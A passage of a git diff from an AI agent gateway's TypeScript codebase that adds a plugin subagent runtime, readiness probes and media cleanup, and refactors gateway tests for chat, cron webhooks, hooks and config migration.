PROTOCOL_VERSION, + maxProtocol: PROTOCOL_VERSION, + client: { + id: GATEWAY_CLIENT_IDS.GATEWAY_CLIENT, + version: "internal", + platform: "node", + mode: GATEWAY_CLIENT_MODES.BACKEND, + }, + role: "operator", + scopes: ["operator.admin", "operator.approvals", "operator.pairing"], + }, + }; +} + +async function dispatchGatewayMethod( + method: string, + params: Record, +): Promise { + const scope = getPluginRuntimeGatewayRequestScope(); + const context = scope?.context ?? fallbackGatewayContextState.context; + const isWebchatConnect = scope?.isWebchatConnect ?? (() => false); + if (!context) { + throw new Error( + `Plugin subagent dispatch requires a gateway request scope (method: ${method}). No scope set and no fallback context available.`, + ); + } + + let result: { ok: boolean; payload?: unknown; error?: ErrorShape } | undefined; + await handleGatewayRequest({ + req: { + type: "req", + id: `plugin-subagent-${randomUUID()}`, + method, + params, + }, + client: createSyntheticOperatorClient(), + isWebchatConnect, + respond: (ok, payload, error) => { + if (!result) { + result = { ok, payload, error }; + } + }, + context, + }); + + if (!result) { + throw new Error(`Gateway method "${method}" completed without a response.`); + } + if (!result.ok) { + throw new Error(result.error?.message ?? `Gateway method "${method}" failed.`); + } + return result.payload as T; +} + +function createGatewaySubagentRuntime(): PluginRuntime["subagent"] { + const getSessionMessages: PluginRuntime["subagent"]["getSessionMessages"] = async (params) => { + const payload = await dispatchGatewayMethod<{ messages?: unknown[] }>("sessions.get", { + key: params.sessionKey, + ...(params.limit != null && { limit: params.limit }), + }); + return { messages: Array.isArray(payload?.messages) ? payload.messages : [] }; + }; + + return { + async run(params) { + const payload = await dispatchGatewayMethod<{ runId?: string }>("agent", { + sessionKey: params.sessionKey, + message: params.message, + deliver: params.deliver ?? false, + ...(params.extraSystemPrompt && { extraSystemPrompt: params.extraSystemPrompt }), + ...(params.lane && { lane: params.lane }), + ...(params.idempotencyKey && { idempotencyKey: params.idempotencyKey }), + }); + const runId = payload?.runId; + if (typeof runId !== "string" || !runId) { + throw new Error("Gateway agent method returned an invalid runId."); + } + return { runId }; + }, + async waitForRun(params) { + const payload = await dispatchGatewayMethod<{ status?: string; error?: string }>( + "agent.wait", + { + runId: params.runId, + ...(params.timeoutMs != null && { timeoutMs: params.timeoutMs }), + }, + ); + const status = payload?.status; + if (status !== "ok" && status !== "error" && status !== "timeout") { + throw new Error(`Gateway agent.wait returned unexpected status: ${status}`); + } + return { + status, + ...(typeof payload?.error === "string" && payload.error && { error: payload.error }), + }; + }, + getSessionMessages, + async getSession(params) { + return getSessionMessages(params); + }, + async deleteSession(params) { + await dispatchGatewayMethod("sessions.delete", { + key: params.sessionKey, + deleteTranscript: params.deleteTranscript ?? true, + }); + }, + }; +} + +// ── Plugin loading ────────────────────────────────────────────────── export function loadGatewayPlugins(params: { cfg: ReturnType; @@ -24,6 +183,9 @@ export function loadGatewayPlugins(params: { debug: (msg) => params.log.debug(msg), }, coreGatewayHandlers: params.coreGatewayHandlers, + runtimeOptions: { + subagent: createGatewaySubagentRuntime(), + }, }); const pluginMethods = Object.keys(pluginRegistry.gatewayHandlers); const gatewayMethods = Array.from(new Set([...params.baseMethods, ...pluginMethods])); diff --git a/src/gateway/server-runtime-state.ts b/src/gateway/server-runtime-state.ts index 9054b3a2a3f..5733f3671e4 100644 --- a/src/gateway/server-runtime-state.ts +++ b/src/gateway/server-runtime-state.ts @@ -32,6 +32,7 @@ import { shouldEnforceGatewayAuthForPluginPath, type PluginRoutePathContext, } from "./server/plugins-http.js"; +import type { ReadinessChecker } from "./server/readiness.js"; import type { GatewayTlsRuntime } from "./server/tls.js"; import type { GatewayWsClient } from "./server/ws-types.js"; @@ -61,6 +62,7 @@ export async function createGatewayRuntimeState(params: { log: { info: (msg: string) => void; warn: (msg: string) => void }; logHooks: ReturnType; logPlugins: ReturnType; + getReadiness?: ReadinessChecker; }): Promise<{ canvasHost: CanvasHostHandler | null; httpServer: HttpServer; @@ -156,6 +158,7 @@ export async function createGatewayRuntimeState(params: { shouldEnforcePluginGatewayAuth, resolvedAuth: params.resolvedAuth, rateLimiter: params.rateLimiter, + getReadiness: params.getReadiness, tlsOptions: params.gatewayTls?.enabled ? params.gatewayTls.tlsOptions : undefined, }); try { diff --git a/src/gateway/server.agent.gateway-server-agent.mocks.ts b/src/gateway/server.agent.gateway-server-agent.mocks.ts index b930ccbc67f..c3a33eca9ad 100644 --- a/src/gateway/server.agent.gateway-server-agent.mocks.ts +++ b/src/gateway/server.agent.gateway-server-agent.mocks.ts @@ -1,9 +1,23 @@ import { vi } from "vitest"; -import { createEmptyPluginRegistry, type PluginRegistry } from "../plugins/registry.js"; +import type { PluginRegistry } from "../plugins/registry.js"; import { setActivePluginRegistry } from "../plugins/runtime.js"; export const registryState: { registry: PluginRegistry } = { - registry: createEmptyPluginRegistry(), + registry: { + plugins: [], + tools: [], + hooks: [], + typedHooks: [], + channels: [], + providers: [], + gatewayHandlers: {}, + httpHandlers: [], + httpRoutes: [], + cliRegistrars: [], + services: [], + commands: [], + diagnostics: [], + } as PluginRegistry, }; export function setRegistry(registry: PluginRegistry) { @@ -21,5 +35,7 @@ vi.mock("./server-plugins.js", async () => { gatewayMethods: params.baseMethods ?? [], }; }, + // server.impl.ts sets a fallback context before dispatch; tests only need the symbol to exist. + setFallbackGatewayContext: vi.fn(), }; }); diff --git a/src/gateway/server.auth.control-ui.suite.ts b/src/gateway/server.auth.control-ui.suite.ts index ecad50ced13..3817cead335 100644 --- a/src/gateway/server.auth.control-ui.suite.ts +++ b/src/gateway/server.auth.control-ui.suite.ts @@ -236,10 +236,10 @@ export function registerControlUiAndPairingSuite(): void { test("allows control ui password-only auth on localhost when insecure auth is enabled", async () => { testState.gatewayControlUi = { allowInsecureAuth: true }; - testState.gatewayAuth = { mode: "password", password: "secret" }; + testState.gatewayAuth = { mode: "password", password: "secret" }; // pragma: allowlist secret await withGatewayServer(async ({ port }) => { const ws = await openWs(port, { origin: originForPort(port) }); - await connectControlUiWithoutDeviceAndExpectOk({ ws, password: "secret" }); + await connectControlUiWithoutDeviceAndExpectOk({ ws, password: "secret" }); // pragma: allowlist secret ws.close(); }); }); diff --git a/src/gateway/server.auth.modes.suite.ts b/src/gateway/server.auth.modes.suite.ts index efe9ad7b111..77c23a0d0b2 100644 --- a/src/gateway/server.auth.modes.suite.ts +++ b/src/gateway/server.auth.modes.suite.ts @@ -20,7 +20,7 @@ export function registerAuthModesSuite(): void { let port: number; beforeAll(async () => { - testState.gatewayAuth = { mode: "password", password: "secret" }; + testState.gatewayAuth = { mode: "password", password: "secret" }; // pragma: allowlist secret port = await getFreePort(); server = await startGatewayServer(port); }); @@ -31,14 +31,14 @@ export function registerAuthModesSuite(): void { test("accepts password auth when configured", async () => { const ws = await openWs(port); - const res = await connectReq(ws, { password: "secret" }); + const res = await connectReq(ws, { password: "secret" }); // pragma: allowlist secret expect(res.ok).toBe(true); ws.close(); }); test("rejects invalid password", async () => { const ws = await openWs(port); - const res = await connectReq(ws, { password: "wrong" }); + const res = await connectReq(ws, { password: "wrong" }); // pragma: allowlist secret expect(res.ok).toBe(false); expect(res.error?.message ?? "").toContain("unauthorized"); ws.close(); diff --git a/src/gateway/server.chat.gateway-server-chat.test.ts b/src/gateway/server.chat.gateway-server-chat.test.ts index 7a5d84e62d8..76c51cd6d78 100644 --- a/src/gateway/server.chat.gateway-server-chat.test.ts +++ b/src/gateway/server.chat.gateway-server-chat.test.ts @@ -141,6 +141,36 @@ describe("gateway server chat", () => { expect(res.payload?.startedAt).toBe(startedAt); }; + const mockBlockedChatReply = () => { + let releaseBlockedReply: (() => void) | undefined; + const blockedReply = new Promise((resolve) => { + releaseBlockedReply = resolve; + }); + const replySpy = vi.mocked(getReplyFromConfig); + replySpy.mockImplementationOnce(async (_ctx, opts) => { + await new Promise((resolve) => { + let settled = false; + const finish = () => { + if (settled) { + return; + } + settled = true; + resolve(); + }; + void blockedReply.then(finish); + if (opts?.abortSignal?.aborted) { + finish(); + return; + } + opts?.abortSignal?.addEventListener("abort", finish, { once: true }); + }); + return undefined; + }); + return () => { + releaseBlockedReply?.(); + }; + }; + test("sanitizes inbound chat.send message text and rejects null bytes", async () => { const nullByteRes = await rpcReq(ws, "chat.send", { sessionKey: "main", @@ -585,30 +615,7 @@ describe("gateway server chat", () => { expect(seedWaitRes.ok).toBe(true); expect(seedWaitRes.payload?.status).toBe("ok"); - let releaseBlockedReply: (() => void) | undefined; - const blockedReply = new Promise((resolve) => { - releaseBlockedReply = resolve; - }); - const replySpy = vi.mocked(getReplyFromConfig); - replySpy.mockImplementationOnce(async (_ctx, opts) => { - await new Promise((resolve) => { - let settled = false; - const finish = () => { - if (settled) { - return; - } - settled = true; - resolve(); - }; - void blockedReply.then(finish); - if (opts?.abortSignal?.aborted) { - finish(); - return; - } - opts?.abortSignal?.addEventListener("abort", finish, { once: true }); - }); - return undefined; - }); + const releaseBlockedReply = mockBlockedChatReply(); try { const chatRes = await rpcReq(ws, "chat.send", { @@ -631,7 +638,7 @@ describe("gateway server chat", () => { }); expect(abortRes.ok).toBe(true); } finally { - releaseBlockedReply?.(); + releaseBlockedReply(); } }); }); @@ -639,30 +646,7 @@ describe("gateway server chat", () => { test("agent.wait keeps lifecycle wait active while same-runId chat.send is active", async () => { await withMainSessionStore(async () => { const runId = "idem-wait-chat-active-with-agent-lifecycle"; - let releaseBlockedReply: (() => void) | undefined; - const blockedReply = new Promise((resolve) => { - releaseBlockedReply = resolve; - }); - const replySpy = vi.mocked(getReplyFromConfig); - replySpy.mockImplementationOnce(async (_ctx, opts) => { - await new Promise((resolve) => { - let settled = false; - const finish = () => { - if (settled) { - return; - } - settled = true; - resolve(); - }; - void blockedReply.then(finish); - if (opts?.abortSignal?.aborted) { - finish(); - return; - } - opts?.abortSignal?.addEventListener("abort", finish, { once: true }); - }); - return undefined; - }); + const releaseBlockedReply = mockBlockedChatReply(); try { const chatRes = await rpcReq(ws, "chat.send", { @@ -700,7 +684,7 @@ describe("gateway server chat", () => { }); expect(abortRes.ok).toBe(true); } finally { - releaseBlockedReply?.(); + releaseBlockedReply(); } }); }); diff --git a/src/gateway/server.cron.test.ts b/src/gateway/server.cron.test.ts index 3c6c128e11a..4a21354605d 100644 --- a/src/gateway/server.cron.test.ts +++ b/src/gateway/server.cron.test.ts @@ -151,6 +151,35 @@ async function addMainSystemEventCronJob(params: { ws: WebSocket; name: string; return expectCronJobIdFromResponse(response); } +async function addWebhookCronJob(params: { + ws: WebSocket; + name: string; + sessionTarget?: "main" | "isolated"; + payloadText?: string; + delivery: Record; +}) { + const response = await rpcReq(params.ws, "cron.add", { + name: params.name, + enabled: true, + schedule: { kind: "every", everyMs: 60_000 }, + sessionTarget: params.sessionTarget ?? "main", + wakeMode: "next-heartbeat", + payload: { + kind: params.sessionTarget === "isolated" ? "agentTurn" : "systemEvent", + ...(params.sessionTarget === "isolated" + ? { message: params.payloadText ?? "test" } + : { text: params.payloadText ?? "send webhook" }), + }, + delivery: params.delivery, + }); + return expectCronJobIdFromResponse(response); +} + +async function runCronJobForce(ws: WebSocket, id: string) { + const response = await rpcReq(ws, "cron.run", { id, mode: "force" }, 20_000); + expect(response.ok).toBe(true); +} + function getWebhookCall(index: number) { const [args] = fetchWithSsrFGuardMock.mock.calls[index] as unknown as [ { @@ -574,22 +603,12 @@ describe("gateway server cron", () => { }); expect(invalidWebhookRes.ok).toBe(false); - const notifyRes = await rpcReq(ws, "cron.add", { + const notifyJobId = await addWebhookCronJob({ + ws, name: "webhook enabled", - enabled: true, - schedule: { kind: "every", everyMs: 60_000 }, - sessionTarget: "main", - wakeMode: "next-heartbeat", - payload: { kind: "systemEvent", text: "send webhook" }, delivery: { mode: "webhook", to: "https://example.invalid/cron-finished" }, }); - expect(notifyRes.ok).toBe(true); - const notifyJobIdValue = (notifyRes.payload as { id?: unknown } | null)?.id; - const notifyJobId = typeof notifyJobIdValue === "string" ? notifyJobIdValue : ""; - expect(notifyJobId.length > 0).toBe(true); - - const notifyRunRes = await rpcReq(ws, "cron.run", { id: notifyJobId, mode: "force" }, 20_000); - expect(notifyRunRes.ok).toBe(true); + await runCronJobForce(ws, notifyJobId); await waitForCondition( () => fetchWithSsrFGuardMock.mock.calls.length === 1, @@ -644,13 +663,10 @@ describe("gateway server cron", () => { fetchWithSsrFGuardMock.mockClear(); cronIsolatedRun.mockResolvedValueOnce({ status: "error", summary: "delivery failed" }); - const failureDestRes = await rpcReq(ws, "cron.add", { + const failureDestJobId = await addWebhookCronJob({ + ws, name: "failure destination webhook", - enabled: true, - schedule: { kind: "every", everyMs: 60_000 }, sessionTarget: "isolated", - wakeMode: "next-heartbeat", - payload: { kind: "agentTurn", message: "test" }, delivery: { mode: "announce", channel: "telegram", @@ -661,19 +677,7 @@ describe("gateway server cron", () => { }, }, }); - expect(failureDestRes.ok).toBe(true); - const failureDestJobIdValue = (failureDestRes.payload as { id?: unknown } | null)?.id; - const failureDestJobId = - typeof failureDestJobIdValue === "string" ? failureDestJobIdValue : ""; - expect(failureDestJobId.length > 0).toBe(true); - - const failureDestRunRes = await rpcReq( - ws, - "cron.run", - { id: failureDestJobId, mode: "force" }, - 20_000, - ); - expect(failureDestRunRes.ok).toBe(true); + await runCronJobForce(ws, failureDestJobId); await waitForCondition( () => fetchWithSsrFGuardMock.mock.calls.length === 1, CRON_WAIT_TIMEOUT_MS, @@ -686,27 +690,13 @@ describe("gateway server cron", () => { ); cronIsolatedRun.mockResolvedValueOnce({ status: "ok", summary: "" }); - const noSummaryRes = await rpcReq(ws, "cron.add", { + const noSummaryJobId = await addWebhookCronJob({ + ws, name: "webhook no summary", - enabled: true, - schedule: { kind: "every", everyMs: 60_000 }, sessionTarget: "isolated", - wakeMode: "next-heartbeat", - payload: { kind: "agentTurn", message: "test" }, delivery: { mode: "webhook", to: "https://example.invalid/cron-finished" }, }); - expect(noSummaryRes.ok).toBe(true); - const noSummaryJobIdValue = (noSummaryRes.payload as { id?: unknown } | null)?.id; - const noSummaryJobId = typeof noSummaryJobIdValue === "string" ? noSummaryJobIdValue : ""; - expect(noSummaryJobId.length > 0).toBe(true); - - const noSummaryRunRes = await rpcReq( - ws, - "cron.run", - { id: noSummaryJobId, mode: "force" }, - 20_000, - ); - expect(noSummaryRunRes.ok).toBe(true); + await runCronJobForce(ws, noSummaryJobId); await yieldToEventLoop(); await yieldToEventLoop(); expect(fetchWithSsrFGuardMock).toHaveBeenCalledTimes(1); @@ -746,22 +736,12 @@ describe("gateway server cron", () => { await connectOk(ws); try { - const notifyRes = await rpcReq(ws, "cron.add", { + const notifyJobId = await addWebhookCronJob({ + ws, name: "webhook secretinput object", - enabled: true, - schedule: { kind: "every", everyMs: 60_000 }, - sessionTarget: "main", - wakeMode: "next-heartbeat", - payload: { kind: "systemEvent", text: "send webhook" }, delivery: { mode: "webhook", to: "https://example.invalid/cron-finished" }, }); - expect(notifyRes.ok).toBe(true); - const notifyJobIdValue = (notifyRes.payload as { id?: unknown } | null)?.id; - const notifyJobId = typeof notifyJobIdValue === "string" ? notifyJobIdValue : ""; - expect(notifyJobId.length > 0).toBe(true); - - const notifyRunRes = await rpcReq(ws, "cron.run", { id: notifyJobId, mode: "force" }, 20_000); - expect(notifyRunRes.ok).toBe(true); + await runCronJobForce(ws, notifyJobId); await waitForCondition( () => fetchWithSsrFGuardMock.mock.calls.length === 1, diff --git a/src/gateway/server.hooks.test.ts b/src/gateway/server.hooks.test.ts index 0c125600f5d..6711671e4ee 100644 --- a/src/gateway/server.hooks.test.ts +++ b/src/gateway/server.hooks.test.ts @@ -383,4 +383,24 @@ describe("gateway server hooks", () => { expect(failAfterSuccess.status).toBe(401); }); }); + + test("rejects non-POST hook requests without consuming auth failure budget", async () => { + testState.hooksConfig = { enabled: true, token: HOOK_TOKEN }; + await withGatewayServer(async ({ port }) => { + let lastGet: Response | null = null; + for (let i = 0; i < 21; i++) { + lastGet = await fetch(`http://127.0.0.1:${port}/hooks/wake`, { + method: "GET", + headers: { Authorization: "Bearer wrong" }, + }); + } + expect(lastGet?.status).toBe(405); + expect(lastGet?.headers.get("allow")).toBe("POST"); + + const allowed = await postHook(port, "/hooks/wake", { text: "still works" }); + expect(allowed.status).toBe(200); + await waitForSystemEvent(); + drainSystemEvents(resolveMainKey()); + }); + }); }); diff --git a/src/gateway/server.impl.ts b/src/gateway/server.impl.ts index 2e816c67dce..1b2048b9396 100644 --- a/src/gateway/server.impl.ts +++ b/src/gateway/server.impl.ts @@ -89,7 +89,7 @@ import { createSecretsHandlers } from "./server-methods/secrets.js"; import { hasConnectedMobileNode } from "./server-mobile-nodes.js"; import { loadGatewayModelCatalog } from "./server-model-catalog.js"; import { createNodeSubscriptionManager } from "./server-node-subscriptions.js"; -import { loadGatewayPlugins } from "./server-plugins.js"; +import { loadGatewayPlugins, setFallbackGatewayContext } from "./server-plugins.js"; import { createGatewayReloadHandlers } from "./server-reload-handlers.js"; import { resolveGatewayRuntimeConfig } from "./server-runtime-config.js"; import { createGatewayRuntimeState } from "./server-runtime-state.js"; @@ -106,6 +106,7 @@ import { incrementPresenceVersion, refreshGatewayHealthSnapshot, } from "./server/health-state.js"; +import { createReadinessChecker } from "./server/readiness.js"; import { loadGatewayTlsRuntime } from "./server/tls.js"; import { ensureGatewayStartupAuth, @@ -118,6 +119,17 @@ export { __resetModelCatalogCacheForTest } from "./server-model-catalog.js"; ensureOpenClawCliOnPath(); +const MAX_MEDIA_TTL_HOURS = 24 * 7; + +function resolveMediaCleanupTtlMs(ttlHoursRaw: number): number { + const ttlHours = Math.min(Math.max(ttlHoursRaw, 1), MAX_MEDIA_TTL_HOURS); + const ttlMs = ttlHours * 60 * 60_000; + if (!Number.isFinite(ttlMs) || !Number.isSafeInteger(ttlMs)) { + throw new Error(`Invalid media.ttlHours: ${String(ttlHoursRaw)}`); + } + return ttlMs; +} + const log = createSubsystemLogger("gateway"); const logCanvas = log.child("canvas"); const logDiscovery = log.child("discovery"); @@ -546,6 +558,17 @@ export async function startGatewayServer( if (cfgAtStart.gateway?.tls?.enabled && !gatewayTls.enabled) { throw new Error(gatewayTls.error ?? "gateway tls: failed to enable"); } + const serverStartedAt = Date.now(); + const channelManager = createChannelManager({ + loadConfig, + channelLogs, + channelRuntimeEnvs, + channelRuntime: createPluginRuntime().channel, + }); + const getReadiness = createReadinessChecker({ + channelManager, + startedAt: serverStartedAt, + }); const { canvasHost, httpServer, @@ -589,6 +612,7 @@ export async function startGatewayServer( log, logHooks, logPlugins, + getReadiness, }); let bonjourStop: (() => Promise) | null = null; const nodeRegistry = new NodeRegistry(); @@ -618,12 +642,6 @@ export async function startGatewayServer( }); let { cron, storePath: cronStorePath } = cronState; - const channelManager = createChannelManager({ - loadConfig, - channelLogs, - channelRuntimeEnvs, - channelRuntime: createPluginRuntime().channel, - }); const { getRuntimeSnapshot, startChannels, startChannel, stopChannel, markChannelLoggedOut } = channelManager; @@ -673,8 +691,9 @@ export async function startGatewayServer( let tickInterval = noopInterval(); let healthInterval = noopInterval(); let dedupeCleanup = noopInterval(); + let mediaCleanup: ReturnType | null = null; if (!minimalTestGateway) { - ({ tickInterval, healthInterval, dedupeCleanup } = startGatewayMaintenanceTimers({ + ({ tickInterval, healthInterval, dedupeCleanup, mediaCleanup } = startGatewayMaintenanceTimers({ broadcast, nodeSendToAllSubscribed, getPresenceVersion, @@ -689,6 +708,9 @@ export async function startGatewayServer( removeChatRun, agentRunSeq, nodeSendToSession, + ...(typeof cfgAtStart.media?.ttlHours === "number" + ? { mediaCleanupTtlMs: resolveMediaCleanupTtlMs(cfgAtStart.media.ttlHours) } + : {}), })); } @@ -779,6 +801,63 @@ export async function startGatewayServer( const canvasHostServerPort = (canvasHostServer as CanvasHostServer | null)?.port; + const gatewayRequestContext: import("./server-methods/types.js").GatewayRequestContext = { + deps, + cron, + cronStorePath, + execApprovalManager, + loadGatewayModelCatalog, + getHealthCache, + refreshHealthSnapshot: refreshGatewayHealthSnapshot, + logHealth, + logGateway: log, + incrementPresenceVersion, + getHealthVersion, + broadcast, + broadcastToConnIds, + nodeSendToSession, + nodeSendToAllSubscribed, + nodeSubscribe, + nodeUnsubscribe, + nodeUnsubscribeAll, + hasConnectedMobileNode: hasMobileNodeConnected, + hasExecApprovalClients: () => { + for (const gatewayClient of clients) { + const scopes = Array.isArray(gatewayClient.connect.scopes) + ? gatewayClient.connect.scopes + : []; + if (scopes.includes("operator.admin") || scopes.includes("operator.approvals")) { + return true; + } + } + return false; + }, + nodeRegistry, + agentRunSeq, + chatAbortControllers, + chatAbortedRuns: chatRunState.abortedRuns, + chatRunBuffers: chatRunState.buffers, + chatDeltaSentAt: chatRunState.deltaSentAt, + addChatRun, + removeChatRun, + registerToolEventRecipient: toolEventRecipients.add, + dedupe, + wizardSessions, + findRunningWizard, + purgeWizardSession, + getRuntimeSnapshot, + startChannel, + stopChannel, + markChannelLoggedOut, + wizardRunner, + broadcastVoiceWakeChanged, + }; + + // Store the gateway context as a fallback for plugin subagent dispatch + // in non-WS paths (Telegram polling, WhatsApp, etc.) where no per-request + // scope is set via AsyncLocalStorage. + setFallbackGatewayContext(gatewayRequestContext); + attachGatewayWsHandlers({ wss, clients, @@ -800,57 +879,7 @@ export async function startGatewayServer( ...secretsHandlers, }, broadcast, - context: { - deps, - cron, - cronStorePath, - execApprovalManager, - loadGatewayModelCatalog, - getHealthCache, - refreshHealthSnapshot: refreshGatewayHealthSnapshot, - logHealth, - logGateway: log, - incrementPresenceVersion, - getHealthVersion, - broadcast, - broadcastToConnIds, - nodeSendToSession, - nodeSendToAllSubscribed, - nodeSubscribe, - nodeUnsubscribe, - nodeUnsubscribeAll, - hasConnectedMobileNode: hasMobileNodeConnected, - hasExecApprovalClients: () => { - for (const gatewayClient of clients) { - const scopes = Array.isArray(gatewayClient.connect.scopes) - ? gatewayClient.connect.scopes - : []; - if (scopes.includes("operator.admin") || scopes.includes("operator.approvals")) { - return true; - } - } - return false; - }, - nodeRegistry, - agentRunSeq, - chatAbortControllers, - chatAbortedRuns: chatRunState.abortedRuns, - chatRunBuffers: chatRunState.buffers, - chatDeltaSentAt: chatRunState.deltaSentAt, - addChatRun, - removeChatRun, - registerToolEventRecipient: toolEventRecipients.add, - dedupe, - wizardSessions, - findRunningWizard, - purgeWizardSession, - getRuntimeSnapshot, - startChannel, - stopChannel, - markChannelLoggedOut, - wizardRunner, - broadcastVoiceWakeChanged, - }, + context: gatewayRequestContext, }); logGatewayStartup({ cfg: cfgAtStart, @@ -988,6 +1017,7 @@ export async function startGatewayServer( tickInterval, healthInterval, dedupeCleanup, + mediaCleanup, agentUnsub, heartbeatUnsub, chatRunState, diff --git a/src/gateway/server.legacy-migration.test.ts b/src/gateway/server.legacy-migration.test.ts index 0522f8a858e..71321390888 100644 --- a/src/gateway/server.legacy-migration.test.ts +++ b/src/gateway/server.legacy-migration.test.ts @@ -8,76 +8,51 @@ import { installGatewayTestHooks({ scope: "suite" }); +async function expectHeartbeatValidationError(legacyParsed: Record) { + testState.legacyIssues = [ + { + path: "heartbeat", + message: + "top-level heartbeat is not a valid config path; use agents.defaults.heartbeat (cadence/target/model settings) or channels.defaults.heartbeat (showOk/showAlerts/useIndicator).", + }, + ]; + testState.legacyParsed = legacyParsed; + testState.migrationConfig = null; + testState.migrationChanges = []; + + let server: Awaited> | undefined; + let thrown: unknown; + try { + server = await startGatewayServer(await getFreePort()); + } catch (err) { + thrown = err; + } + + if (server) { + await server.close(); + } + + expect(thrown).toBeInstanceOf(Error); + const message = String((thrown as Error).message); + expect(message).toContain("Invalid config at"); + expect(message).toContain( + "heartbeat: top-level heartbeat is not a valid config path; use agents.defaults.heartbeat (cadence/target/model settings) or channels.defaults.heartbeat (showOk/showAlerts/useIndicator).", + ); + expect(message).not.toContain("Legacy config entries detected but auto-migration failed."); +} + describe("gateway startup legacy migration fallback", () => { test("surfaces detailed validation errors when legacy entries have no migration output", async () => { - testState.legacyIssues = [ - { - path: "heartbeat", - message: - "top-level heartbeat is not a valid config path; use agents.defaults.heartbeat (cadence/target/model settings) or channels.defaults.heartbeat (showOk/showAlerts/useIndicator).", - }, - ]; - testState.legacyParsed = { + await expectHeartbeatValidationError({ heartbeat: { model: "anthropic/claude-3-5-haiku-20241022", every: "30m" }, - }; - testState.migrationConfig = null; - testState.migrationChanges = []; - - let server: Awaited> | undefined; - let thrown: unknown; - try { - server = await startGatewayServer(await getFreePort()); - } catch (err) { - thrown = err; - } - - if (server) { - await server.close(); - } - - expect(thrown).toBeInstanceOf(Error); - const message = String((thrown as Error).message); - expect(message).toContain("Invalid config at"); - expect(message).toContain( - "heartbeat: top-level heartbeat is not a valid config path; use agents.defaults.heartbeat (cadence/target/model settings) or channels.defaults.heartbeat (showOk/showAlerts/useIndicator).", - ); - expect(message).not.toContain("Legacy config entries detected but auto-migration failed."); + }); }); test("keeps detailed validation errors when heartbeat comes from include-resolved config", async () => { - testState.legacyIssues = [ - { - path: "heartbeat", - message: - "top-level heartbeat is not a valid config path; use agents.defaults.heartbeat (cadence/target/model settings) or channels.defaults.heartbeat (showOk/showAlerts/useIndicator).", - }, - ]; // Simulate a parsed source that only contains include directives, while // legacy heartbeat is surfaced from the resolved config. - testState.legacyParsed = { + await expectHeartbeatValidationError({ $include: ["heartbeat.defaults.json"], - }; - testState.migrationConfig = null; - testState.migrationChanges = []; - - let server: Awaited> | undefined; - let thrown: unknown; - try { - server = await startGatewayServer(await getFreePort()); - } catch (err) { - thrown = err; - } - - if (server) { - await server.close(); - } - - expect(thrown).toBeInstanceOf(Error); - const message = String((thrown as Error).message); - expect(message).toContain("Invalid config at"); - expect(message).toContain( - "heartbeat: top-level heartbeat is not a valid config path; use agents.defaults.heartbeat (cadence/target/model settings) or channels.defaults.heartbeat (showOk/showAlerts/useIndicator).", - ); - expect(message).not.toContain("Legacy config entries detected but auto-migration failed."); + }); }); }); diff --git a/src/gateway/server.plugin-http-auth.test.ts b/src/gateway/server.plugin-http-auth.test.ts index 3c5afceaa35..6eb9399e23a 100644 --- a/src/gateway/server.plugin-http-auth.test.ts +++ b/src/gateway/server.plugin-http-auth.test.ts @@ -56,6 +56,23 @@ const withRootMountedControlUiServer = (params: { const withPluginGatewayServer = (params: Parameters[0]) => withGatewayServer(params); +const PROBE_CASES = [ + { path: "/health", status: "live" }, + { path: "/healthz", status: "live" }, + { path: "/ready", status: "ready" }, + { path: "/readyz", status: "ready" }, +] as const; + +async function expectProbeRoutesHealthy(server: Parameters[0]) { + for (const probeCase of PROBE_CASES) { + const response = await sendRequest(server, { path: probeCase.path }); + expect(response.res.statusCode, probeCase.path).toBe(200); + expect(response.getBody(), probeCase.path).toBe( + JSON.stringify({ ok: true, status: probeCase.status }), + ); + } +} + function createProtectedPluginAuthOverrides(handlePluginRequest: PluginRequestHandler) { return { handlePluginRequest, @@ -98,20 +115,7 @@ describe("gateway plugin HTTP auth boundary", () => { prefix: "openclaw-plugin-http-probes-test-", resolvedAuth: AUTH_TOKEN, run: async (server) => { - const probeCases = [ - { path: "/health", status: "live" }, - { path: "/healthz", status: "live" }, - { path: "/ready", status: "ready" }, - { path: "/readyz", status: "ready" }, - ] as const; - - for (const probeCase of probeCases) { - const response = await sendRequest(server, { path: probeCase.path }); - expect(response.res.statusCode, probeCase.path).toBe(200); - expect(response.getBody(), probeCase.path).toBe( - JSON.stringify({ ok: true, status: probeCase.status }), - ); - } + await expectProbeRoutesHealthy(server); }, }); }); @@ -494,6 +498,44 @@ describe("gateway plugin HTTP auth boundary", () => { }); }); + test("root-mounted control ui does not swallow gateway probe routes", async () => { + const handlePluginRequest = vi.fn(async () => false); + + await withRootMountedControlUiServer({ + prefix: "openclaw-plugin-http-control-ui-probes-test-", + handlePluginRequest, + run: async (server) => { + await expectProbeRoutesHealthy(server); + expect(handlePluginRequest).toHaveBeenCalledTimes(PROBE_CASES.length); + }, + }); + }); + + test("root-mounted control ui still lets plugins claim probe paths first", async () => { + const handlePluginRequest = vi.fn(async (req: IncomingMessage, res: ServerResponse) => { + const pathname = new URL(req.url ?? "/", "http://localhost").pathname; + if (pathname !== "/healthz") { + return false; + } + res.statusCode = 200; + res.setHeader("Content-Type", "application/json; charset=utf-8"); + res.end(JSON.stringify({ ok: true, route: "plugin-health" })); + return true; + }); + + await withRootMountedControlUiServer({ + prefix: "openclaw-plugin-http-control-ui-probe-shadow-test-", + handlePluginRequest, + run: async (server) => { + const response = await sendRequest(server, { path: "/healthz" }); + + expect(response.res.statusCode).toBe(200); + expect(response.getBody()).toBe(JSON.stringify({ ok: true, route: "plugin-health" })); + expect(handlePluginRequest).toHaveBeenCalledTimes(1); + }, + }); + }); + test("requires gateway auth for canonicalized /api/channels variants", async () => { const handlePluginRequest = createCanonicalizedChannelPluginHandler(); diff --git a/src/gateway/server.reload.test.ts b/src/gateway/server.reload.test.ts index a6fa5327628..e691256d70f 100644 --- a/src/gateway/server.reload.test.ts +++ b/src/gateway/server.reload.test.ts @@ -465,7 +465,7 @@ describe("gateway hot reload", () => { serverOptions: { auth: { mode: "password", - password: "override-password", + password: "override-password", // pragma: allowlist secret }, }, }), @@ -486,7 +486,7 @@ describe("gateway hot reload", () => { it("emits one-shot degraded and recovered system events during secret reload transitions", async () => { await writeEnvRefConfig(); - process.env.OPENAI_API_KEY = "sk-startup"; + process.env.OPENAI_API_KEY = "sk-startup"; // pragma: allowlist secret await withGatewayServer(async () => { const onHotReload = hoisted.getOnHotReload(); @@ -531,7 +531,7 @@ describe("gateway hot reload", () => { ); expect(drainSystemEvents(sessionKey)).toEqual([]); - process.env.OPENAI_API_KEY = "sk-recovered"; + process.env.OPENAI_API_KEY = "sk-recovered"; // pragma: allowlist secret await expect(onHotReload?.(plan, nextConfig)).resolves.toBeUndefined(); const 